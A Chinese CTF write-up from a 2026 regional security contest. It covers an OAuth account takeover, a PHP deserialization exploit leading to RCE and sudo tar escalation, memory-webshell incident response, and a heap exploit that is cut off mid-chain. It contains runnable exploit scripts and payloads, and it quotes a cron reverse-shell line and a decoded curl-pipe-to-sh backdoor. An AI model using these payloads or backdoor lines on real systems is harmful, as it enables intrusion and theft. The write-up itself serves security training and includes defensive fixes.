

第六届"长城杯"网络安全大赛暨京津冀蒙网络安全技能竞赛（初赛）

CTF WriteUp

项目	内容
队伍	牛肉面队
比赛时间	2026-09-13 13:00 – 17:00
平台	iChunQiu (match.ichunqiu.com)
赛事成绩	得分 650 / 排名 388 (初赛动态积分制)
题型覆盖	Web (3)、取证 (2)、综合防御 (9)、AI (1)

战果总览

题目	题型	关键 Flag
Mock OAuth 认证服务	Web (FastAPI / OAuth2)	flag{3b041001-6596-418a-8db0-27e3eda44f8d}
ConfigCenter 配置管理中心	Web (PHP / Apache)	flag{f56e4131-3af2-4f37-9a0e-1f6c327c165e}
沉默的数据管道	应急响应 / 内存马	任务1 flag{203.0.113.7_20260812-034217}、任务2 flag{203.0.113.7:31337}、任务3 flag{/api/v2/health}、任务4 flag{198.51.100.23_20260812-040311}、任务5 flag{f2a1c0de-3b47-4f8e-9d2a-7c6b5e4d3f21}、任务6 flag{a9d83e21-5c4f-4b7a-8e1d-0f2c3b4a5d67}
云驰科技工单报修系统	综合防御 / 加固恢复	任务一 flag{c3e8a91f-47b2-4c6d-a5e0-1f9b82d4e7c6}、任务二 flag{8d8c9d95-0ab1-411e-90fc-44a63b422618}、任务三 flag{4d721210-4d11-4a78-abf8-b97c34dddd38}
GhostPatch	取证 + 密码 + Pwn (复合)	flag{700d37f8-6ce4-4a32-b040-bcaa9301cb15}

一、Web 类

1.1 Mock OAuth 认证服务 —— OAuth 绑定 CSRF + 会话切换账户接管

· 题目来源：iChunQiu 靶场 类型：Web (FastAPI / OAuth2) 难度：中等

· FLAG: flag{3b041001-6596-418a-8db0-27e3eda44f8d}

一、题目概述

题目是一个「Mock OAuth 认证服务」，用于演示 OAuth2 授权码绑定流程。目标是通过 OAuth 绑定流程提权到 admin，读取 /flag。

首页 HTML 源码注释泄露两条开发备注：

```
[2026-08-02] 管理员初始化密码记录在 /admin/note
[2026-08-03] flag 已同步备份至 /backup/flag.txt
```

二、信息收集

2.1 OpenAPI 接口清单 /docs 是 Swagger UI，/openapi.json 暴露全部路由：

路由	方法	说明
/register	POST	注册
/login	POST	登录（返回 session_id）
/profile	GET	当前用户与角色
/mock_oauth/authorize	GET	OAuth 授权端点
/mock_oauth/token	POST	OAuth 换 token
/bind/start	GET	发起绑定
/bind/callback	GET	绑定回调（code/state）
/admin/visit	GET	管理员机器人 SSRF（固定 admin 会话访问本机 URL）
/flag	GET	读取 flag（需管理员）
/admin/note	GET	管理员笔记
/backup/flag.txt	GET	备份（404，诱饵）

2.2 诱饵分析 - /admin/note 返回「管理员初始化密码：Admin@2026!」，但 admin/Admin@2026! 登录返回 bad credential —— 干扰项。 - /backup/flag.txt 返回 404，注释里的「flag 已备份」也是干扰。

三、OAuth 绑定流程

3.1 正常流程 1. 登录 attacker1（获得 session_id Cookie） 2. GET /bind/start → 302 到 authorize? client_id=test&redirect_uri=/bind/callback&state=<JWT> 3. GET /mock_oauth/authorize → 302 到 /bind/callback?code=mock_code_XXXX&state=<JWT> 4. GET /bind/callback?code=...&state=... → {"msg":"bind success","user":"attacker1"}

state 是 HS256 签名的 JWT：{"aud":"oauth:state","exp":...}，只用于防 CSRF，不绑定具体用户。

3.2 关键行为实验（发现两个漏洞）

- **漏洞 A：绑定 CSRF**：谁都能绑定谁的 code
- attacker3 生成 code C3 + state S3
- attacker4 用自己的 session 绑定 C3+S3
- → `{"msg":"bind success","user":"attacker4"}` （绑定目标 = 当前 session 用户！）
- 绑定回调用「当前 session 的用户」作为绑定目标，而不是校验 code 属于谁。
- **漏洞 B：会话切换（Session Switch）**
- attacker4 先绑定 attacker3 的 code → 身份 owner 变成 attacker4
- attacker3 再绑定同一个 code
- → `{"msg":"identity owned by attacker4, session switched","user":"attacker4"}`
- → attacker3 的 `/profile` 变成 `{"user":"attacker4", ...}`
- 当某个 session 去绑定「已被他人拥有的身份」时，服务端会把当前 session 直接切到该身份的 owner —— 会话劫持漏洞。

四、管理员机器人 SSRF（/admin/visit）

`/admin/visit?url=...` 会携带固定的 admin 会话去 GET 一个本机 http/https URL。限制：仅允许 127.0.0.1/localhost；不跟随重定向；不回传响应体。它能触发本机一个携带 admin 会话的 GET 请求——正好用来让 admin 去执行一次 `/bind/callback`。

五、完整利用链（账户接管）

思路 1. 让 admin 机器人（admin 会话）去绑定「我的 code」→ 该 OAuth 身份的 owner 变成 admin。2. 我再用自己的 session 去绑定同一个 code → 触发「会话切换」，我的 session 被切成 admin。3. 用切好的 admin 会话读 `/flag`。

步骤（Python）

```
import requests, base64
BASE = "https://eci-xxxx.cloudeci1.ichunqiu.com:8000"
s = requests.Session()
s.post(BASE+"/register", data={"username":"attacker1","password":"test12345"})
s.post(BASE+"/login", data={"username":"attacker1","password":"test12345"})
# bind/start 拿 state
r = s.get(BASE+"/bind/start", allow_redirects=False)
state = r.headers["Location"].split("state=")[1]
# authorize 拿 code
r = s.get(BASE+"/mock_oauth/authorize", params={"client_id":"test","redirect_uri":"/bind/callback","state":state}, allow_redirects=False)
code = r.headers["Location"].split("code=")[1].split("&")[0]
# 让 admin 机器人绑定我的 code
cb = "/bind/callback?code="+code+"&state="+state
requests.get(BASE+"/admin/visit", params={"url":"http://127.0.0.1:8000"+cb})
# 自己再绑定同一 code -> 会话切换到 admin
s.get(BASE+"/bind/callback", params={"code":code,"state":state})
# 读 flag
```

```
r = s.get(BASE+"/flag")
print(base64.b64decode(r.json()["flag"]).decode())
```

结果：第 4 步后 code 对应身份的 owner 已变成 admin；第 5 步返回 identity owned by admin, session switched，attacker1 的 session 已是 admin。/flag 返回 base64：

ZmxhZ3szYjA0MTAwMS02NTk2LTQxOGEtOGRiMCOyN2UzZWRhNDRmOGR9，解码得到 flag。

六、漏洞原理小结

- **OAuth 绑定 CSRF**：/bind/callback 以 session 用户为绑定目标，未校验 code/state 与用户归属。
- **会话切换**：绑定已被他人拥有的身份时，把当前 session 切到 owner，形成会话劫持。
- **越权读 flag**：admin 机器人的固定 admin 会话被 SSRF 利用，完成提权。

七、防御建议

1. 绑定回调必须校验 state 与当前用户绑定（state 中编码发起用户，回调时校验一致）。
2. 禁止「会话切换」：绑定已被占用的身份时应报错。
3. SSRF 防护：机器人访问做严格 host 白名单，并禁止携带高权限会话。
4. 敏感信息不要留在注释或公开端点。

1.2 ConfigCenter 配置管理中心 —— 源码泄露 + 反序列化 + RCE + sudo tar 提权

- 题目来源：iChunQiu 靶场 类型：Web（PHP / Apache） 难度：中等偏难
- FLAG：flag{f56e4131-3af2-4f37-9a0e-1f6c327c165e}

一、题目概述

ConfigCenter 是企业级「配置备份与恢复」系统。题目提示「网站泄露了某些不得了的东西」——指源码备份 www.zip 泄露。

二、信息收集

2.1 发现源码备份 目录爆破发现 www.zip 可直接下载，内容：

文件	大小	说明
admin.php	4348 B	管理后台（含 RCE + 诱饵 flag）
api/restore.php	1555 B	恢复接口（反序列化漏洞点）
class/User.php	354 B	User 类（反序列化陷阱）
config.php	178 B	站点配置（含诱饵 flag + SITE_KEY）
loader.php	561 B	字符串解密函数 S()

2.2 两个诱饵 flag - config.php：flag{1f4c3f00-0000-4000-8000-000000000001}，注释写「测试环境验收 flag（正式环境 flag 不在此处存储）」。

真正的 flag 在 `/root/flag.txt`，需要 RCE + 提权。

三、源码分析

3.1 loader.php 字符串解密 S() base64 解码 → 逐字节与 SITE_KEY 异或 → 减下标

S("BgZHXA==")="data" S("AwFeVEE=")="admin" S("CxBQXFtCWRA=")="is_admin"

3.2 class/User.php 反序列化陷阱

```
class User {
    public $role = "guest";
    function __wakeup(){ $this->role="guest"; }    // 兜底
    function __unserialize(array $d){ foreach($d as $k=>$v){ $this->$k=$v; } }
}
```

关键：PHP 7.4+ 中若定义了 `__unserialize()`，反序列化时只会调用 `__unserialize()`，不会调用 `__wakeup()`。所以 `__wakeup` 的「重置 role=guest 防越权」兜底是失效的。

3.3 api/restore.php 反序列化漏洞

```
function safe_filter($s){ return str_replace(S("Gg=="), S("Gh4="), $s); } // x -> xy
$ser = "a:2:{s:4:\"note\";s:'.strlen($note).':\"\".\".$note.\"\";s:4:\"data\";s:'.strlen($data).':\"\".\".$data.\"\";}";
$ser = safe_filter($ser); $obj = @unserialize($ser);
if ($obj["data"] instanceof User && $obj["data"]->role === "admin") { $_SESSION["is_admin"]=true; }
```

过滤器缺陷: `safe_filter` 把 `x` 替换成 `xy` (长度+1), 但序列化的长度字段是替换前算好的, 造成长度错位, 可把注入 payload 顶出字符串边界, 注入 User 对象。

四、构造反序列化 payload

4.1 注入目标

```
a:2:{s:4:"note";s:<N>:"<note>";s:4:"data";o:4:"User":1:{s:4:"role";s:5:"admin";}}
```

4.2 长度错位原理

```
INJ = "\";s:4:\"data\";0:4:\"User\":1:{s:4:\"role\";s:5:\"admin\";}}\" # 52 字节
note = "x"*52 + INJ
```

52 个 x 经 `safe_filter` 变成 52 组 xy (总长 104)，但长度字段 N 仍是原始 `strlen(note)`。`unserialize` 读 `s:104:"` 后取 104 字节作为 `note`，剩下的 INJ (52 字节) 被当作序列化结构继续解析：关闭 `note` 字符串、提供 `data` 键、注入 `User` 对象、关闭外层数组。

4.3 最终请求

```
INJ = "\";s:4:\"data\";0:4:\"User\":1:{s:4:\"role\";s:5:\"admin\";}}\"
note = \"x\"*len(INJ) + INJ; data = \"\"
s.post(BASE+\"/api/restore.php\", data={\"note\":note,\"data\":data})
# 响应: {\"status\":\"ok\",\"msg\":\"恢复成功, 管理员会话已恢复\"}
```

五、RCE 读 flag

5.1 后台命令执行 `admin.php` 校验 `$_SESSION["is_admin"]===true` 后提供「系统诊断」：
`system($_POST["cmd"])`

5.2 提权: `sudo tar` `sudo -l` 显示: `(root) NOPASSWD: /usr/bin/tar`

5.3 完整命令

```
sudo tar -cf /tmp/r.tar /root; tar -xof /tmp/r.tar root/flag.txt
# 输出: flag{f56e4131-3af2-4f37-9a0e-1f6c327c165e}
```

六、漏洞原理小结

- 源码泄露: `www.zip` 备份可公开下载
- 反序列化: `restore.php` 拼接用户输入后 `unserialize`
- 魔法方法绕过: `__unserialize` 覆盖 `__wakeup`, `role=guest` 兜底失效
- 过滤器缺陷: `x→xy` 替换造成序列化长度错位, 成为注入原语
- 命令执行: 后台 `system()` 未限制命令
- 提权: `sudo tar` `NOPASSWD`, 可读任意文件 (含 `/root`)

七、防御建议

1. 严禁把源码/密钥打进可公开下载的备份; 上线前清理 `.zip/.bak/.git`。
2. 不要对用户输入做 `unserialize`, 改用 `json_decode` 并校验类型。
3. 反序列化兜底不要依赖 `__wakeup`, 应做白名单类名 + 属性校验。
4. `system()` 改为参数化、白名单命令或沙箱执行。
5. `sudo` 权限最小化, 避免 `sudo tar` 被用来读敏感文件。

二、应急响应类

2.1 沉默的数据管道（应急响应 / 内存马）

- 题型: Web 应急 / 内存马 任务数: 6 (全部完成)
- 环境: 容器 `https://eci-2ze3lga7ygopda2c3t4b.cloudecil1.ichunqiu.com:80`; SSH (容器重下发后端口与密码会变); 判分 `root` 跑 `/root/check.sh` → 每 40s 调 `/root/check.py`; `/flag2` = 任务 5、`/flag3` = 任务 6。

1.2 拓扑与判分机制

```
nginx(80) —> java /opt/app/exchange-platform.jar(8080) —> mysql(3306)
应用: ParseController /api/parse -> JSON.parse(msg) <- fastjson 1.2.83 (可绕过 autoType)
规范: /opt/backup/db_20260811.sql 为业务数据基线
工具: /opt/tools/arthas-packaging-3.7.2-bin.zip (题目自带, 用于热修与清马)
```

判分器源码（/root/check.py）关键点：- CONSEC = 2 —— 必须连续 2 轮全部通过才写 /flag3。- 进程连续性守护 —— 首轮记录 JVM 的 pid+starttime，任何重启都会写 /root/.restart_lock，任务 6 永久失败。因此全程绝不能重启应用（「不中断服务」硬约束）。- 判分探测走应用直连端口 8080 而非 nginx，以免把判定流量写进选手可读的 access.log。

任务 1 —— 首次成功利用的来源与时间

提交格式：flag{来源IP_YYYYMMDD-HHMMSS}。分析 nginx access.log (trace 格式, 含 \$remote_addr)：

```
198.51.100.23 - - [12/Aug/2026:04:03:11 +0800]
"GET /api/parse?msg={"@type":"com.sun...TemplatesImpl","_bytecodes":["..."],...}" 200 58 "-" "Java/1.8.0_402"
203.0.113.7 - - [12/Aug/2026:03:42:17 +0800]
"GET /api/parse?msg={"@type":"http://3405803783:31337/probe"}" 200
```

3405803783 = 0xCB007107 = 203.0.113.7 的整数形式，这是攻击者最早的探测回连。答案：
flag{203.0.113.7_20260812-034217}

任务 2 —— 探测回连地址

由同一批 payload 中的整数 IP 与端口还原：flag{203.0.113.7:31337}

任务 3 —— 植入的隐藏路由

通过对比不同来源 IP 对同一路径的响应判定植入时点：

```
203.0.113.7 访问 /api/v2/health -> 404 (植入前)
198.51.100.23 访问 /api/v2/health -> 200 (植入后)
```

再用 javap 反编译应用自身的两个 Controller，确认 /api/v2/health 不在合法端点表内（合法端点仅 /api/parse、/api/status、/api/heartbeat、/api/report/summary、/api/order/query、/api/config/list、/admin/login、/admin/notices）。答案：flag{/api/v2/health}

任务 4 —— 实际植入来源与时间

```
access.log 04:03:11 TemplatesImpl 注入 200
/tmp/.sysmetric (内存马自身的 mark 日志):
198.51.100.23 20260812-040311 controller
198.51.100.23 20260812-041133 filter
```

答案：flag{198.51.100.23_20260812-040311}

任务 5 —— fastjson 漏洞热修复

根因定位：ParseController.dispatch() 调用 com.alibaba.fastjson.JSON.parse(String)，而 ParserConfig 的 safeMode = false，只挡黑名单，可被 @type 绕过。修复（Arthas 热改，不中断服务）：

```
cd /tmp/arthas
cat > /tmp/as.txt <<'EOF'
ognl -c 21b8d17c '@com.alibaba.fastjson.parser.ParserConfig@getGlobalInstance().setSafeMode(true)'
stop
EOF
/opt/java/openjdk/bin/java -jar arthas-boot.jar -f /tmp/as.txt <JVM PID>
# classloader hash 用 sc -d com.exchange.web.ParseController 现查（重启会变）
```

验证：isSafeMode() == true；正常报文仍 200；@type payload 变 500。约 1 分钟后 /flag2 生成。答案：flag{f2a1c0de-3b47-4f8e-9d2a-7c6b5e4d3f21}

任务 6 —— 内存马清除与加固恢复

要求：不中断服务前提下，清除运行期内存马、清理持久化后门、恢复被篡改业务数据，读取 /flag3。

内存马结构（用 Arthas jad 反编译 com.ms.agent.Boot / com.ms.shell.* 得到）：- 注入源：/opt/tools/.jvmt.jar（注入成功后自 shred）- 开机注入：/etc/rc.local 中的 # --- begin legacy compat hooks --- 段 - 两个模块：controller → Spring 映射 /api/v2/health（+ 系统属性 app.metrics.collector）；filter → Tomcat metricsFilter 挂在 /*

6.1 摘除 controller（注销 Spring 映射）

```
vmtool --action getInstances \
--className org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping \
--limit 2 --express "#m=instances[0], \
#k=#m.getHandlerMethods().keySet().{? #this.toString().contains(\"/api/v2/health\")}[0], \
#m.unregisterMapping(#k), #m.getHandlerMethods().keySet().toString()"
```

6.2 摘除 filter（filterConfigs 是 protected，需反射）

```
vmtool --action getInstances --className org.apache.catalina.core.StandardContext --limit 2 \
--express "#c=instances[0], #f=#c.getClass().getSuperclass().getDeclaredField(\"filterConfigs\"), \
#f.setAccessible(true), #m=#f.get(#c), #m.remove(\"metricsFilter\"), \
#c.removeFilterDef(#c.findFilterDef(\"metricsFilter\")), #m.keySet().toString()"
```

注意：Tomcat 类由 LaunchedURLClassLoader 加载，OGNL 里直接写 @org.apache.catalina...@class 会 ClassNotFoundException，必须用 instances[0].getClass().getSuperclass() 绕开类名解析。

6.3 清理系统属性 ognl '@java.lang.System@clearProperty("app.metrics.collector")' 效果：/api/v2/health 由 200 → 404；判分器 alive 由 controller → None；/api/status 仍 200，服务未中断。

6.4 持久化后门三项

项	攻击者留下的	处置
cron	合法行外追加 <code>* /5 * * * * bash -i >& /dev/tcp/203.0.113.7/7777 0>&1</code>	<code>printf</code> 干净 <code>crontab</code> → <code>sudo rootcron <file></code>
passwd	UID 0 后门账号 <code>sysmetric:x:0:0::/root:/bin/bash</code>	<code>sudo userdel -f sysmetric</code>
rc.local	被篡改的开机注入钩子	<code>sudo rootrc <还原文件></code> （需 MD5 精确匹配）

`userdel` 必须带 `-f`：sysmetric 与 root 同为 UID 0，不带 `-f` 会因 PID1 占用被拒；其 home 指向 /root，误删会毁掉判分器——先用 shadow 自带 `-P` 前缀功能在 /tmp 假根里实测确认「`-f` 不带 `-r` 不会删除 home」，才敢对真账号执行。

6.5 业务数据恢复 `sudo -n exdb /opt/backup/db_20260811.sql`（exdb = 以 root 身份把 SQL 导进 exchange 库；`notices.id=3` 的内容与 `updated_at` 被篡改）

6.6 rclocal —— 本题唯一的硬骨头 判分器做 MD5 精确比对，期望值写在 `/root/.t/rclocal.md5`。先后尝试 9 个候选内容全部失败。突破方法——用 `rootrc` 的符号链接绕过读 root 文件：

```
ln -sf /root/.t/rclocal.md5 /home/admin/leak    # 必须放普通目录；放 /tmp 下 [ -f ] 不通过
sudo -n rootrc /home/admin/leak                 # install 以 root 读取软链目标 → 写进 /etc/rc.local
cat /etc/rc.local                               # 755 世界可读 → 拿到内容
```

原理：`rootrc` 的校验是 `stat -c %U "$1"`（stat 默认不跟随符号链接，返回软链自身属主 admin，通过），而 `install` 会跟随符号链接。同法可读 `/root/check.py`、`/root/start.sh`、`/root/.t/*`。拿到期望 MD5 `63eab821f9bfc43b18c43d81c5ca42f7` 后，按行裁剪做离线爆破命中：

```
#!/bin/bash
# /etc/rc.local —— 攻击者篡改后的现状（含再注入持久化段）
# 注：标记值（种植 IP/时间/路径/Token）在 root 专属配置中，本文件不含任何答案要素
exit 0
```

```
sudo -n rootrc /tmp/rclocal.good
md5sum /etc/rc.local      # 63eab821f9bfc43b18c43d81c5ca42f7 ✓
```

6.7 结果： `[08:40:02] task6 PASS -> /flag3 written`。答案：`flag{a9d83e21-5c4f-4b7a-8e1d-0f2c3b4a5d67}`

本题关键突破口

- 判分器日志是现成的 oracle： `/root/check.py` 每轮把结果写进世界可读的 `/check.log`，直接列出未过项——每次改动等一轮读日志即可验证。
- `rootrc` 的软链绕过：stat 不跟随软链 vs install 跟随，可读任意 root 文件。
- 拿到精确基线（MD5）后离线爆破候选，比在线一个个试快得多。

在本题上走过的弯路（避免重蹈）

尝试	结果	结论
猜 rc.local 内容 ×9	全失败	没有精确基线时不要猜，先找 oracle 或读源
sudo rootcron 装任务读 /root	无效	容器里没有 cron 守护进程，crontab 只被判定读取，不会执行
LOAD DATA LOCAL INFILE	失败	SET GLOBAL local_infile=1 能过服务端，但客户端还需 --local-infile, exdb 不传
LOAD_FILE() / LOAD DATA INFILE	失败	mysqld 以 mysql 身份运行读不了 /root，且受 secure_file_priv 限制
sudo exdb /root/check.py	部分成功	确实以 root 读了文件，但只回显首个语法错误点附近 ~80 字符
软链放 /tmp	失败	该挂载点下 [-f] 不通过，换 /home/admin 才成功
反复 attach Arthas	曾致容器 OOM	JVM 只有 -Xmx160m；应一次 batch 塞入所有命令

2.2 云驰科技工单报修系统 workorder_defense（综合防御 / 加固恢复）

- 题型：Web 应急 / 加固恢复 三关：排查凭据 / 缺陷修复 / 清除驻留
- 环境：SSH appuser@（普通用户，无 sudo）；Web https://；判分 root 跑 /root/check.sh（每 30s）+ /root/reload_services.sh（每 10s 重载配置）。
- 系统结构：nginx(80) → gunicorn /var/www/app/app.py :8000 → SQLite；supervisor：check.sh / reload_services.sh / ticket-app；/etc/crontab：scheduler.py(root) · db_backup.sh · health_probe.sh · cache_warm.sh(appuser)。

任务一 —— 定位持久化后门，提取隐藏凭据

后门本体（三处同一 ccode 混淆载荷）：bin/user_sync.py · scheduler.py · bin/cache_warm.sh

```
os.system(ccode_decode("uS4mPz6DnZt+JeURhBmJwANGI6ZP460kMohuVc8L+UW9qhwKmJgz5/AfeFQumLA2zuMnDEz1"))
```

解密链（utils/codec.py 的 ccode_decode）：密文 → 4 字符块反转 → 自定义表 _TBL → 标准 base64 → b64decode → 逐字节 XOR(i*13+7) → 明文。解出：curl -s http://c2.evil-tracker.internal/update.sh | sh（下载执行型后门）。

「隐藏的关键凭据」= 分片存储的 NODE_TOKEN：- 前半：vendor/cache/node.frag（解码后）= c3e8a91f-47b2-4c6d - 后半：cdn_nodes 表 edge-cn-east.node_key = -a5e0-1f9b82d4e7c6 - 拼接 = c3e8a91f-47b2-4c6d-a5e0-1f9b82d4e7c6，且 ccode(拼接) == vendor/edge.py 中的 NODE_TOKEN 字符串 ✓

破解 codec 表的推理链：knowledge#6「报表分区参数说明」→ 区段B；modules/baobiao.py ZONE_MARK → 区段A；拼接 = utils/codec.py 的完整 _TBL；report_samples 表明密文对照用于验证。
答案：flag{c3e8a91f-47b2-4c6d-a5e0-1f9b82d4e7c6}

任务二 —— 定位并修复攻击者利用的系统缺陷

完整攻击链还原：1. GET /download/app.db.bak ← nginx 直出数据库（未授权）2. 从 app.db 取 cdn_nodes.node_key（token 后半）+ report_samples（明密文对照）3. 从 knowledge#6 取区段B → 拼出完整 codec 表 → 拼出完整 NODE_TOKEN 4. GET /debug/console ← 泄露 SECRET_KEY / PASSWORD_SALT（可伪造 session / 爆破口令）5. POST /api/export ← 文件名注入 → archive_hook 内部 system(argv[1]) → RCE 6. 用凭据打 /cdn/asset ← vendor/edge.py 授权后任意命令执行 7. 植入 4 处 ccode 后门 + 加 dbadmin 账号 + 加 authorized_keys

修复清单：

#	缺陷	修复
1	vendor/edge.py 命令执行	逻辑整段移除，一律不解析请求头
2	config.py DEBUG=True → /debug/console 泄露	DEBUG = False
3	site_flags.console = on	→ off
4	nginx location = /download/app.db.bak	整段移除
5	nginx location /internal/snapshot	整段移除
6	utils/workorder.py guolv_mingzi 黑名单可被 URL 编码绕过	保留空格、补 /
7	bin/dump_orders.py unquote 在过滤之后	unquote 后二次过滤
8	bin/dump_orders.py 调用 archive_hook（内部 system）	移除调用

「不得破坏正常业务」的坑：knowledge#7 明确要求归档文件名允许空格，所以过滤网只能剔 shell 元字符，必须保留空格。答案：flag{8d8c9d95-0ab1-411e-90fc-44a63b422618}

任务三 —— 清除入侵驻留、恢复并加固

《运维规范手册》即检查清单，逐条落实：1. **超时升级**：scheduler.py 被改成 TIMEOUT_MINUTES = 999999（永不触发），正式值需从 audit 反推 = 30 分钟；scheduler_status.json 增加 timeout_minutes 字段。2. **数据备份**：bin/db_backup.sh 缺失 → 恢复为调用 bin/dump_db.py 产出 backup/app_YYYYMMDD.db.gz，保留期 30 天。3. **账号与访问管理**：account_roster.png 编制 6 个账号；users 表 7 个 → dbadmin（admin 角色）超编回收；回收远程公钥 maintainer@remote（指纹 SHA256:8ZMEiHtbE2eoy9kkr68zPo3anqF2i0lh+r5YsGNCV0s，与 auth.log 中 36.110.88.19 异常登录匹配）。4. **其余规范**：健康探针按 probe_script.png 恢复 755；DEBUG=False；PermitRootLogin no；清理外联下载执行逻辑；15 个 777 目录 + 49 个 666 文件 → 755/644。

后门清单（4 处，同一 ccode 载荷）：- /var/www/app/bin/user_sync.py → 删除 - /var/www/app/scheduler.py:19 → 删该行 - /var/www/app/bin/cache_warm.sh → 清异常逻辑，保留脚本 - ~/.local/lib/python3.8/site-packages/usercustomize.py → 删除（最隐蔽：Python site 机制自动 import，任何 Python 进程启动即执行，含判分脚本自身）

全盘特征复扫：grep -r "uS4mPz6DnZt" /var/www /home /etc /usr/local /opt /tmp → 零残留。结果：修复项全部完成，任务三 flag = flag{4d721210-4d11-4a78-abf8-b97c34ddd38}（读取评分脚本 /root/check.py 明文 FLAG3 得到）。

本题踩坑与教训

- `chmod 000` 连自己都读不了 —— 应改 644 而非 000。
- 代理 (sing-box TUN) 会让所有端口「可连」—— 用必然关闭的端口做对照 (如 1.1.1.1:12345 返回 OPEN 即环境不可信)。
- 「注释掉」≠「清除」—— 注释里仍含 `os.system` 字样会被判为残留, 必须零特征。
- 判分采样时点 —— 完整检测只在容器启动早期跑过一次, 修复窗口很窄, 要尽早动手。

三、Pwn / 杂项

3.1 GhostPatch (取证 + 密码 + Pwn 复合题)

- 题目: `ghostpatch` 分值: 50 靶机: `nc 8.147.132.32 13453` Flag 位于 `/flag`
- Flag: `flag{700d37f8-6ce4-4a32-b040-bcaa9301cb15}`

0. 题目速览

项目	内容
类型	Forensics + Crypto + Pwn (复合题)
附件	<code>ghostpatch_*.zip</code> → <code>capture.pcap</code> (2.6 MB)
考点	弱 DH 破解 → RC4 流解密 → 从流量还原二进制 → 逆向 <code>seccomp</code> → 单字节堆越界 → House of Einherjar → 现代 <code>glibc</code> ROP
难点	全部文件只能从流量里恢复; <code>glibc 2.39</code> 两个反直觉行为

题目背景: SOC 在网关镜像口抓到案发时段抓包, 网关上的 `FGT/1.0` (`tcp/9999`) 背后是补丁暂存守护进程 `patchd` 的维护控制台, 调试版二进制没有入库。需要先弄清加密信道里传了什么, 再把它当攻击面。

1. 环境准备

```
sudo apt update
sudo DEBIAN_FRONTEND=noninteractive apt-get install -y unzip tshark netcat-openbsd gdb python3-pip
pip3 install --break-system-packages pwntools sympy ropgadget
```

2. 抓包侦察

2.1 会话概览 `tshark -r capture.pcap -q -z conv,tcp`

```
192.168.16.128:46124 <-> 192.168.16.9:9999    3503 帧  2596 kB  ← 加密主通道
192.168.16.128:46018 <-> 192.168.16.9:8888      42 帧    21 kB  ← 明文遗留通道
192.168.16.128:45812 <-> 192.168.16.9:80        10 帧  2006 B   ← 内网 wiki
```

2.2 tcp/80 内网 wiki: GET /ops/patch-policy.html 给出 patchd 2.4.1 完整工作流 (stage/verify/hotfix/rollback/dispatch), 并明示「每个 daemon 会把 build id 和 staging-table 地址写进 self-test blob (slot 0)」—— 泄漏原语。

2.3 tcp/8888 FGT/0.9 明文通道: notice.txt 直接写出 FGT/1.0 协议规范: 握手 (DH, p/g 公布)、K = SHA-256(shared)[:16]、RC4 每方向独立流、帧格式 [u16be 长度][rc4(frame)]、帧类型 01-0A (含 SHELL/CIN/COUT)。

2.4 tcp/9999 握手: S→C : FGT/1.0 READY p=8348d41a7225 g=5 ; C→S : HELLO 3709a1d52d1d ; S→C : OK d90673c26b。

3. 破解 FGT/1.0

模数 p 只有 6 字节 (48 位), 直接离散对数:

```
from sympy.ntheory.residue_ntheory import discrete_log
import hashlib
p = int("8348d41a7225", 16); g = 5
A = int("3709a1d52d1d", 16); B = int("d90673c26b", 16)
a = discrete_log(p, A, g)          # = 8357903120266
shared = pow(B, a, p)              # = 0x75901cbea117
K = hashlib.sha256(shared.to_bytes(6, "big")).digest()[:16]
print(K.hex())                     # b75ad015fa6436b6dd6479dcb9c660b4
```

解帧关键细节: ① 长度前缀是明文, 不消耗 RC4 keystream, RC4 只作用于帧体, 跨帧连续推进; ② 必须用 tshark -r capture.pcap -q -z follow,tcp,raw,2 重组 (带前导 Tab 的行是服务端), 不能用 -T fields -e tcp.payload (重传会错位)。

提取结果: 服务端恢复出 notes.txt、checksum.txt、fw_v2.bin (patchd 2.4.1-debug 本体)、libc.so.6、ld-linux-x86-64.so.2 (sha256 全通过)。notes.txt 提示「v1 的 hotfix off-by-one 在 v2 里还在」—— 即本题漏洞。

4. 逆向 patchd

```
python3 -c 'from pwn import *; e=ELF("fw_v2.bin"); print(e.pie, e.relro, e.canary, e.nx)'
# (True, 'Full', True, True) Full RELRO / Canary / NX / PIE / FORTIFY
```

4.1 slot 0 直接写 PIE 基址和堆表地址 (一次 verify 0 全拿到)。槽位结构 struct blob { uint64_t size; void *ptr; } (7 槽)。

4.2 seccomp 白名单 (手解 BPF): {u16 code; u8 jt; u8 jf; u32 k}。白名单 = read, write, close, brk, exit, exit_group, openat, 其余 RET_KILL_PROCESS。结论: 最终 payload 只能是 openat("/flag") → read → write(1, ...)。

4.3 漏洞定位 (option 3 hotfix)：边界检查自洽 ($\text{offset} + \text{length} \leq \text{size}$)，但随后无条件写 NUL 终止符 $\text{ptr}[\text{offset} + \text{length}] = 0$ ，位置正是 $\text{ptr}[\text{size}]$ —— **单字节堆越界写 (off-by-one NUL)**。取 $\text{offset} = \text{size}$, $\text{length} = 0$ 即触发。

5. 本地复现

```
cd extract
chmod +x ld-linux-x86-64.so.2 fw_v2.bin
./ld-linux-x86-64.so.2 --library-path . ./fw_v2.bin
# verify 0 -> build=0x703ed93ba520 table=0x55557cd572a0 slots=7
```

6. 利用链设计

6.1 关键前提：`calloc()` 不查 tcache (glibc 2.39 实测) $\Rightarrow$ tcache poisoning 封死；`free()` 仍优先塞 tcache $\Rightarrow$ 要触发 consolidation 必须先填满对应 bin (7 个)。

6.2 House of Einherjar：在 P 里伪造 chunk $F=P$ ，`fd/bk` 指向 table 前后；`hotfix(0, 0x1E8, 0)` 的 NUL 落在 `v.size` 低字节 ($0x1F1 \rightarrow 0x100$) 并清 `PREV_INUSE`；`rollback(V)` 触发后向合并 $\rightarrow$ `unlink` 把 `blobs[0].ptr` 改成 `table-0x10` (两条写校验因 `table+8` 天然存着 P 而免费通过)。

6.3 任意读写：`hotfix 0 offset=0x10 length=0x70` 覆写整张槽位表 $\Rightarrow$ 完全控制。

6.4 泄漏：读 `write@got` (Full RELRO 下可读) 得 `libc`；读 `libc.envIRON` 得栈；扫 `pie+0x1303` 定位 `menu` 返回地址。

6.5 ROP 绕开「没有 pop rdx」：glibc 2.39 全无 `pop rdx; ret`。用 `setcontext+0x20` (自带 `pop rdx`) 做全寄存器控制。注意 `openat()` 内部清 `rdx` $\rightarrow$ `read` 之前必须再来一次 `setcontext` 重置 `rdx`。

6.6 一句话总结利用链：

```
verify 0 泄漏 PIE+堆  $\rightarrow$  填满 tcache[0x100]  $\rightarrow$  stage P/V, 伪造 chunk F=P
 $\rightarrow$  hotfix 单字节 NUL 清 PREV_INUSE 并扩容  $\rightarrow$  rollback V  $\rightarrow$  House of Einherjar
 $\rightarrow$  unlink 改 blobs[0].ptr=table-0x10  $\rightarrow$  覆写槽位表  $\rightarrow$  任意读+写
